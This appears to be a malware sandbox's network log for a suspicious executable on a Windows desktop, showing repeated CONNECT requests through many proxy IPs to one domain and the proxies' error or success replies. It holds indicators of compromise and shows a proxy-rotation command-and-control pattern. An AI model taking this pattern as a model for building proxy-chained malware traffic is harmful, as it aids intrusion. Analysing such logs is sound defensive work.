Mar 11, 2024 16:42:26.249532938 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:26 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1467	192.168.2.11	54720	45.14.174.148	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.088507891 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.242739916 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:26 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1468	192.168.2.11	53926	104.37.135.145	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.088654995 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1469	192.168.2.11	54676	45.196.151.97	5432	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.102370977 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.319235086 CET	308	IN	HTTP/1.1 407 Proxy Authentication Required Server: FaaS v1.3-20220203-7fa38bd5af Date: Mon, 11 Mar 2024 15:42:26 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 65 Proxy-Authenticate: Basic realm="Proxy" Connection: close Data Raw: 48 54 54 50 20 61 75 74 68 6f 72 69 7a 61 74 69 6f 6e 20 65 72 72 6f 72 3a 20 69 70 20 61 75 74 68 20 66 61 69 6c 65 64 2c 20 6e 6f 20 63 72 65 64 65 6e 74 69 61 6c 73 20 70 72 6f 76 69 64 65 64 Data Ascii: HTTP authorization error: ip auth failed, no credentials provided

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1470	192.168.2.11	50307	162.214.227.68	31042	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.109916925 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1471	192.168.2.11	54723	52.13.248.29	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.128161907 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.318991899 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:42:26 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1472	192.168.2.11	54656	103.190.54.141	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.134937048 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1473	192.168.2.11	54668	58.234.116.197	8193	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.145831108 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1474	192.168.2.11	54659	216.9.224.113	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.148585081 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1475	192.168.2.11	53652	78.170.135.164	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.164494991 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:29.329333067 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:32.438766956 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:38.439026117 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:50.469726086 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:02.469719887 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1476	192.168.2.11	54125	163.172.169.27	16379	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.179572105 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:29.188818932 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:32.189157963 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:38.282733917 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:50.282227039 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:52.727503061 CET	536	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please confi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1477	192.168.2.11	53291	132.148.154.97	60349	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.193409920 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:29.329339027 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:32.438787937 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:38.439026117 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1478	192.168.2.11	50324	62.171.184.96	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.194535971 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:29.376374960 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:32.376516104 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:38.485908031 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:50.579088926 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1479	192.168.2.11	54135	43.129.228.46	7891	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.197069883 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1480	192.168.2.11	54658	203.112.134.74	5678	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.209105968 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1481	192.168.2.11	54161	51.79.87.144	8533	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.210882902 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1482	192.168.2.11	54682	41.231.37.76	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.222910881 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1483	192.168.2.11	54685	219.243.212.118	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.228234053 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.555083036 CET	22	IN	HTTP/1.1 502 ERROR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1484	192.168.2.11	54725	190.144.238.66	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.262159109 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.991683006 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.829668045 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:29.642041922 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:33.333445072 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1485	192.168.2.11	54774	104.20.75.132	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.262381077 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.416747093 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:26 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1486	192.168.2.11	53142	128.199.196.31	57715	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.263948917 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:29.329521894 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:32.438795090 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:38.439331055 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1487	192.168.2.11	54670	103.76.180.108	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.267427921 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.651515007 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 16:42:27.431780100 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1488	192.168.2.11	50402	51.79.87.144	41746	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.268485069 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1489	192.168.2.11	50289	139.99.148.90	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:26.268795967 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:29.376375914 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
